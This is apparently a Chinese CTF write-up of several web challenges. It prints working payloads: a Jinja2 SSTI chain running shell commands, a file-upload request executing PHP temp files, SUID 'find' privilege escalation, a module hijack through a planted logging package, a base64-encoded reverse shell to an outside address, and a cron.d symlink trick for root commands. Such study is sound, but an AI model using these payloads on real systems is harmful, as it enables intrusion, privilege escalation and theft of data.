0x01 前言 前两天看了巅峰赛,自己也还行,不像之前一样爆零了至少,记录一下
0x02 题目 EncirclingGame 玩游戏就可以了,别点太快了围起来就可以了
GoldenHornKing 一个SSTI漏洞但是不同往常,尝试了很久
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import osimport jinja2import functoolsimport uvicornfrom fastapi import FastAPIfrom fastapi.templating import Jinja2Templatesfrom anyio import fail_after, sleepdef timeout_after (timeout: int = 1 ): def decorator (func ): @functools.wraps(func ) async def wrapper (*args, **kwargs ): with fail_after(timeout): return await func(*args, **kwargs) return wrapper return decorator app = FastAPI() access = False _base_path = os.path.dirname(os.path.abspath(__file__)) t = Jinja2Templates(directory=_base_path) @app.get("/" ) @timeout_after(1 ) async def index (): return open (__file__, 'r' ).read() @app.get("/calc" ) @timeout_after(1 ) async def ssti (calc_req: str ): global access if (any (char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access: return "bad char" else : jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}" ).render({"app" : app}) access = True return "fight" if __name__ == "__main__" : uvicorn.run(app, host="0.0.0.0" , port=8000 )
看了一下代码发现只能打一次,打完就得刷机
但是过滤的并不多
首先我们有代码了,看过滤,
1 2 3 4 5 6 7 8 access = False if (any (char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access: return "bad char" else : jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}" ).render({"app" : app}) access = True return "fight"
那么打通一次access
直接覆盖为true
,那么就无法达到渲染效果了就得刷机
禁用了非ascii
字符,%
,还有数字,那么用chr(数字)
来执行等姿势就不行了,但是他一个关键字什么的都没过滤,我们直接调用builtins
就行,那么现在我们没有了数字就用下面的payload来测试什么时候生效
1 2 3 4 5 6 7 8 9 10 11 12 13 14 calc?calc_req={{{{x.__init__}}}} Internal Server Error calc?calc_req={{{x.__init__}}} Internal Server Error calc?calc_req={{x.__init__}} Internal Server Error calc?calc_req={x.__init__} Internal Server Error /calc?calc_req=x.__init__ "fight"
但是发现也面没有任何走动,那么我们直接构造完整payload试试
1 /calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('ls /').read()
没有回显
此时估计页面回显只有python
文件,但是又不知道啥名字,使用通配符覆盖文件
1 /calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('cp /etc/passwd *py').read()
查看发现成功执行命令
1 /calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('cp /f* *py').read()
得到flag
admin_Test(浮现思路) 我以为是sql注入,fuzz之后又在哪里尝试时间盲注结果,我方向都错了
首先弱密码进入(也可以直接进/admin.html
)
1 2 3 username:admin password:qwe123!@#
然后上传恶意文件执行命令发现用户是ctf
进行suid
提权
但是要执行命令还要通过cmd
,先fuzz
一下,只有
使用临时文件缓存进行命令执行
这个姿势之前在ctfshow
有了解过web56
在linux shell中,.
可以用当前的shell执行一个文件中的命令,比如.file
就是执行file文件中的命令。并且是不需要file有x权限
上传文件之后,php会生成临时文件在/tmp/phpXXXXXX,其中XXXXXX为六个随机的大小写字母
然后成功之后还需要提权,这里是suid
提权
查找文件
1 2 3 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;
查看是否有suid
权限
1 2 3 4 5 find filename -exec /bin/sh -p \; -quit 进入交互式shell find 具有suid权限的filename -exec whoami \; -quit 执行命令
那么这里就直接用find提权就行了,借用大头师傅的包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /upload.php HTTP/1.1 Host: eci-2zegua8pognq2bylzh7v.cloudeci1.ichunqiu.com Content-Length: 310 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryExqFofGztZHH253r Connection: close ------WebKitFormBoundaryExqFofGztZHH253r Content-Disposition: form-data; name="file"; filename="1.test" Content-Type: admin/admin find . -exec cat /flag \; -quit ------WebKitFormBoundaryExqFofGztZHH253r Content-Disposition: form-data; name="cmd" . /t*/* ------WebKitFormBoundaryExqFofGztZHH253r--
php_online(浮现思路) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from flask import Flask, request, session, redirect, url_for, render_templateimport osimport secretsapp = Flask(__name__) app.secret_key = secrets.token_hex(16 ) working_id = [] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : id = request.form['id' ] if not id .isalnum() or len (id ) != 8 : return '无效的ID' session['id' ] = id if not os.path.exists(f'/sandbox/{id } ' ): os.popen(f'mkdir /sandbox/{id } && chown www-data /sandbox/{id } && chmod a+w /sandbox/{id } ' ).read() return redirect(url_for('sandbox' )) return render_template('submit_id.html' ) @app.route('/sandbox' , methods=['GET' , 'POST' ] ) def sandbox (): if request.method == 'GET' : if 'id' not in session: return redirect(url_for('index' )) else : return render_template('submit_code.html' ) if request.method == 'POST' : if 'id' not in session: return 'no id' user_id = session['id' ] if user_id in working_id: return 'task is still running' else : working_id.append(user_id) code = request.form.get('code' ) os.popen(f'cd /sandbox/{user_id} && rm *' ).read() os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id} /init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py' ).read() os.popen(f'rm -rf /sandbox/{user_id} /phpcode' ).read() php_file = open (f'/sandbox/{user_id} /phpcode' , 'w' ) php_file.write(code) php_file.close() result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode' ).read() os.popen(f'cd /sandbox/{user_id} && rm *' ).read() working_id.remove(user_id) return result if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' , port=80 )
代码总共分为两部分,一个是index
一个是sandbox
,
1 2 index: 利用传入的id,注册账号进入沙盒(我思路都错了一位是session伪造,还是没有好好看代码)
1 2 3 4 sandbox: sudo -u nobody 基本没有什么权限 复制init.py到沙盒 并且有个init.py需要读
先创建两个用户一个AAAAAAAA
用户,一个BBBBBBBB
用户
init.py
源码
1 2 import logginglogger.info("aaa" )
这里有模块加载原理也就是
1 imort xxx时候,如果xxx是文件夹,就会自动执行里面的__init__.py
可以A
创建一个logging/__init__.py
劫持(开始代码执行)
1 2 3 import logginglogger.info('Code execution start' )
然后在A
的沙盒中执行命令弹shell
1 <?php system("mkdir -p /sandbox/BBBBBBBB/logging");system("echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDI5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIik= | base64 -d > /sandbox/BBBBBBBB/logging/__init__.py");?>
但是没有触发,由于是劫持了的,此时再访问B
,随便执行什么,然后就会执行init.py,也就是我们的弹shell
代码
监听到之后
1 2 3 ps -ef 发现 /usr/sbin/cron
再看配置文件
1 /etc/cron.d和/var/spool/cron
发现/etc/cron.d
是能操作的
这里软连接把定时任务转移到沙箱中
1 ln -s /etc/cron.d/ /sandbox/FFFFFFFF
再登录到F中执行定时命令
1 2 3 4 5 * * * * * root cat /flag>/tmp/111 # # #<?php while(1){echo 1;};?>
其中* * * * *
表示每分钟执行一次,while死循环是为了让phpcode
一直存在于/etc/cron.d/phpcode
中也就是防止这句
1 os.popen(f'cd /sandbox/{user_id} && rm *').read()
1 2 在本来弹到的shell里面等一分钟 cat /tmp/111
0x03 小结 后面这两个题,思路都错了,肯定会卡住,而且我如果来打的话,肯定是打不通的,很多不会的知识点,还是多学学,不对的地方希望各位师傅斧正